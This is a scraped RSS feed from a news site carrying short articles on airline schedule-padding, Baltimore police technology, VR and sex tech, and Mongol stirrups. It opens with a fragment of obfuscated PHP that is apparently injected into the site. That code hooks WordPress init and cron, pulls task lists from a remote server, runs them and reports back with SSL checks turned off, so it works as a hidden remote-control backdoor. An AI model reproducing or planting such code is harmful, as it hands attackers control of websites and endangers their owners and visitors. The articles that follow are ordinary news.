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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); technological – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 29 Aug 2018 04:30:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png technological – Brief News https://briefnews.eu 32 32 Flight secrets: Why plane journeys are getting LONGER – despite new technological advances https://briefnews.eu/flight-secrets-why-plane-journeys-are-getting-longer-despite-new-technological-advances/ https://briefnews.eu/flight-secrets-why-plane-journeys-are-getting-longer-despite-new-technological-advances/#respond Wed, 29 Aug 2018 04:30:09 +0000 http://briefnews.eu/flight-secrets-why-plane-journeys-are-getting-longer-despite-new-technological-advances/

Flight times are reportedly getting longer by airlines, in a bid to avoid compensation payouts.

The new report by Which? Travel found that journey times had been increased by up to 30 minutes to make the flights seem more punctual than they were.

Compensation can be claimed if a flight is more than three hours delayed, and can be hundreds of pounds depending on the length of the journey.

The changes are known as “schedule-padding” by exaggerating the time it takes to arrive at the destination.

The report revealed, of the 125 flights they analysed, 76 took longer than ten years ago.

Nine out of 11 Ryanair flights (82 per cent) were slower, along with 16 out to 26 EasyJet flights (62 per cent), with British Airways and Virgin also falling foul of the longer journey times (87 per cent and 75 per cent, respectively).

This is in spite of technological advances which means flight times are shorter than ever, with a recent London to New York flight taking just five hours and 13 minutes.

Keith Mason, professor of air transport management at Cranfield University, told Which? that the padding of times enabled airlines to record good punctuality records.

“The problem for airlines is that if there’s any delay, then [there is] the knock-on effect through the rest of the flying programme that day,” he also added.

When contacted by Which?, British Airways stated the increase in times was due to “airspace congestion”.

Routes to the Far East were affected due to alternative routes being taken following the Ukraine plane attack in 2014.

Ryanair and Virgin Atlantic confirmed it was because of slower flying to reduce fuel consumption. A Ryanair spokesman also said times were adjusted to “reflect the average flight times recorded”.

This means that a slow airline which is often delayed could mean they increase the journey times to reduce the change of flight compensation.

Ryanair has recently suffered from a number of delayed and cancelled flights following pilot and cabin crew strikes.

The airline stated that their recent flight strikes which resulted in cancelled flights were due to “extraordinary circumstances,” and so would not be issuing compensation to travellers.

The Civil Aviation Authority (CAA) however, claimed the airline was at fault and should provide compensation.

Passengers can claim for compensation for a delayed flight up to six years later.

Compensation can range from £226 for flights at least three hours delated and less than 1,500km in length, to £543 for a four hour or more play, and a flight of more than 3,500km.

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]]> https://briefnews.eu/flight-secrets-why-plane-journeys-are-getting-longer-despite-new-technological-advances/feed/ 0 Baltimore’s police department is a technological disaster https://briefnews.eu/baltimores-police-department-is-a-technological-disaster/ https://briefnews.eu/baltimores-police-department-is-a-technological-disaster/#respond Fri, 29 Jun 2018 12:33:47 +0000 http://briefnews.eu/baltimores-police-department-is-a-technological-disaster/

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As part of the consent decree reached in the Justice Department investigation that followed the death of Freddie Gray and the ensuing unrest, an assessment team from the National Police Foundation recently completed a study taking inventory of the Baltimore Police Department’s technology infrastructure. The study meant to determine what work needs to be done in order for the department to meet the reporting and other requirements set by the decree. The study’s findings—coming just months after Baltimore’s 911 center was struck by a ransomware attack—paint a damning picture of how tech has been managed by the eighth-largest city police force in the country.

Over the past year, the Baltimore Police Department (BPD) has moved its IT department up and down within the organizational structure three time. The Information Technology Section has been put in charge of maintaining systems it had no hand in acquiring, because the director of ITS is not part of BPD’s executive staff. Core technologies used by the department are no longer supported by software vendors, with some over 20 years old. And the Motorola radio system used for mobile communications by the force, including 911 dispatch, will no longer be supported after this year—and there are no plans in place to replace it.

These are symptomatic of a larger problem the survey team noted:

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]]> https://briefnews.eu/baltimores-police-department-is-a-technological-disaster/feed/ 0 VR on Valentine’s Day: The technological evolution of love, connection, and intimacy https://briefnews.eu/vr-on-valentines-day-the-technological-evolution-of-love-connection-and-intimacy/ https://briefnews.eu/vr-on-valentines-day-the-technological-evolution-of-love-connection-and-intimacy/#respond Wed, 14 Feb 2018 14:38:11 +0000 http://briefnews.eu/vr-on-valentines-day-the-technological-evolution-of-love-connection-and-intimacy/

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Connection is difficult. With more distractions, demands on our time, and mediated communications like texting and social media, making time for intimacy and love can be challenging. Holidays such as Valentine’s Day can serve to reinforce this realization, further isolating singles and those who choose alternative lifestyles. There are some who feel technology is an obstacle to intimacy and love, but other experts believe virtual reality can actually help foster connecting in new and exciting ways.

“Absolutely. Virtual reality can help bring us closer together and foster love and intimacy,” said Dr. Holly Richmond, a Ph.D Sex Therapist and author of the soon to be published Next Sex: Mating, relating and masturbating in the new age of technology. Richmond sees VR and other emerging technologies as having immense potential to help break down the barriers to love and intimacy in the digital age.

According to Richmond there are several applications where VR can play a role in healthier relationships and closer connections. VR therapies are already being used successfully to treat disorders such as PTSD and common phobias, Richmond believes this treatment can extend to sexual health issues such as erectile dysfunction, low libido and performance anxiety. “VR therapy can help common disorders — pain disorders, low libido, and erectile dysfunction. By helping people understand arousal and taking the pathology out of ‘not doing it right,’ VR can provide positive solutions in a safe and comfortable environment.” Richmond is currently exploring using immersive VR environments to help treat these common issues among her patients.

She also believes there would be huge value in using VR to help teach anatomy and human sexuality in schools. Using a 3D model to explore female and male anatomy would enable students to better understand their own bodies and the bodies of potential partners. Immersive VR educational videos would also act as great tool to help explore human sexuality in a safe and nurturing environment.

Why VR?

Beyond therapy and education, Richmond also believes VR has the power to help normalize sexual expression and empower users to better understand and meet their own needs. In her practice, she outlines three elements that are vital for healthy, intimate connections. These “Three E’s” are Empathy, Empowerment, and Embodiment. VR’s immersive elements, such as having a first-person point of view (POV), enable the user to experience and feel these elements instead of just talking about them.

Above: Dr. Holly Richmond is currently working on using VR to help treat her patients

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“VR is great place to learn and practice. It gives users an experiential component. Better than just watching, we can feel our way into things. It also gives us choice — choosing your POV, for example — gives us more control and can be very empowering. VR also allows for a mind and body connection. We can actually feel it — it’s an integrated experience. Used in education, learning outcomes are dramatically improved when someone can experience something instead of just watching.”

The love-tech landscape

Above: Holly Richmond on the set of Badoink’s “Virtual Sexology” series.

Individuals and couples can now use a few immersive tools to help enhance intimacy.  VR films, primarily focused in the adult entertainment sector, are beginning to take more of an educational approach. For example, Badoink’s “Virtual Sexology” series, which Richmond co-authors, is positioned as a sex therapy program. It primarily consists of 360 degree videos shot from the first-person perspective. The viewer can choose man or woman’s POV, and the scene immerses them as a participant. The voice-over includes tactics like sensate focus and applied behavior applications such as positive reinforcement. While this type of immersion may be a step above traditional 2D video, it still doesn’t enable the viewer to feel what’s happening on film.

Enter Kiiroo, a growing tech company based in Amsterdam. It’s developing a solution to this problem.

Kiiroo is the leading producer of remote-controlled smart teledildonics for couples. Since 2013, this company has used technology to help couples feel more connected and intimate when they’re not together — especially when they are hundreds if miles apart. Through the use of the Kiiroo app and the devices, both male and female, couples can have an interactive experience, controlling each other’s pleasure, despite being a continent away. Couples can see each other in real-time via a 2D webcam or other similar device (like a smartphone), but according to Kiiroo’s Maurice Op de Beek, couples can now use a 360 degree camera and enjoy the VR version. “VR is so real and immersive, but historically, you couldn’t feel it. You needed touch. We have created the illusion of touch and are solving this problem.”

Above: Kiroo’s Fleshlight Launch and Onyx 2

Op de Beek is extremely optimistic about the potential of creating more and more realistic experiences with the help of VR. When asked if we would see hyper-real sexual experiences in our lifetime, his immediate response was “Definitely! We already have this with our Launch device. It’s very real and the developments are going so fast we are about 10-20 year out from hyper-real simulated sexual experiences.” Kiiroo’s most immersive product, the Fleshlight Launch, enables male stimulation synchronized with a VR film experience. The device exactly mimics the actions onscreen, reeling the viewer into the action and providing for a new level of embodiment. The market has about 1,500 VR-enabled films that are synced to devices, with more in production.

Above: Kiiroo Chief Technology Officer Maurice Op de Beek, believes we will experience hyper-real immersive encounters in our lifetime.

Kiiroo is also enabling devices for women to sync with VR films, partnering with WeVibe and OhMiBod. Op de Beek has approached many of the leading device manufacturers and proposed adding Kiiroo’s smart technology to their products. Eventually there will be hundreds of thousands of these smart devices all over the globe, allowing for couples and singles to remotely connect like never before.

Richmond feels leveraging the immersion of VR can be a valuable tool for these devices: “The newest VR-enabled, remote control devices are some of the best that I’ve seen. They force couples to communicate, taking some of the guess work out of meeting each other’s needs. It has facilitated conversations about what people like and what they don’t like. Sex tech can help women be empowered and connect with their own bodies and then share this with a partner.”

On addiction

Given the reality of achieving hyper-real sexual experiences in our lifetime, some fear that these experiences will be addicting and act as a replacement for real, human interactions. Headlines such as this one from a recent ABC post, “Virtual reality addiction threat prompts cautious approach as VR nears ‘smartphone-like’ take-off,” work to propagate these concerns. Richmond doesn’t believe VR will increase addiction and argues that technology is only working to enhance human connection, not replace it.

“The idea of addiction — I just don’t buy it. There’s no such thing as sex or Internet addiction. There will always be people who abuse technology. The VR component won’t make it that much more addictive. From print magazines like Playboy, to online adult entertainment, and now VR and teledildonics — the technology will keep progressing. We, as human beings, need to learn how to keep up with it.”

The future is bright

Both Op de Beek and Richmond are extremely optimistic about what the future holds for VR and making a love connection. As technology improves, so will the ways we leverage this technology to learn more about ourselves and our partners. VR is creating new communication channels, new ways to feel and empathize with one another and ultimately allow for a full range of intimate self-expression. Richmond sums it up: “My mission in life is to stop the pathologization of any kind of sexual expression that isn’t within the ‘normal’ box. And thankfully, that box is opening — we’ve got pansexual, demi-sexual, bisexual, and now digisexual.

“We’ve still got this inherent desire, especially in the US, to pathologize difference. Immersive technology, like VR, can enable us to embrace, even celebrate, these differences, and allow us to safely explore and experience ourselves in new ways. This is what I see as the biggest potential for VR.”

Lisa Peyton is an immersive media strategist and media psychologist focusing on the business applications of new technologies.

]]> https://briefnews.eu/vr-on-valentines-day-the-technological-evolution-of-love-connection-and-intimacy/feed/ 0 The Mongols built an empire with one technological breakthrough https://briefnews.eu/the-mongols-built-an-empire-with-one-technological-breakthrough/ https://briefnews.eu/the-mongols-built-an-empire-with-one-technological-breakthrough/#respond Tue, 09 May 2017 16:55:35 +0000 http://briefnews.eu/the-mongols-built-an-empire-with-one-technological-breakthrough/

Enlarge / Standing in his stirrups, a Mongolian soldier could shoot even while retreating. This was a revolutionary battle tactic at the time.

When a man named Temüjin was given the title of Genghis Khan in 1206, the Mongols were a recently united people, tucked away in the northeast corner of Asia. By the time Genghis Khan died in 1227, they were sunning themselves on the shores of both the Pacific Ocean and the Caspian Sea. By 1241 they were knocking at Vienna’s door, and they remained the terror of eastern Europe for the rest of the century. The Mongols claimed the largest consolidated land empire in history. Seemingly the only way to keep them out was to put the Himalayas between you and them. And many historians believe their power stemmed from an incredibly simple technological innovation: the stirrup.

No one knows when the stirrup was first invented, but it was a boon to any military that used it. Even the simplest of stirrups, a leather loop, let mounted soldiers ride longer distances and stay mounted on their horses during battle. The military success of the forebears of the Cossacks is often attributed to two loops of leather. Same with the Goths and the Huns. Some believe the stirrup even shifted the balance of power in Europe from foot soldiers to mounted knights, dubbed the “armored tanks” of the medieval world by historian Roman Johann Jarymowycz.

The Mongols took things further. Historians think they not only had leather stirrups, but metal ones as well. In 2016, archaeologists at the Center of Cultural Heritage of Mongolia unearthed the remains of a Mongolian woman dating back to the 10th century AD. Along with sturdy leather boots and some changes of clothes, she was buried with a saddle and metal stirrups described as in such good condition that they could still be used today. The stirrups are one continuous thick piece of metal with an open loop for a saddle strap on the top and a wide, flattened, and slightly rounded foot rest. The stirrups had to be comfortable and tough, because Mongols used them to ride in a way no one else rode.

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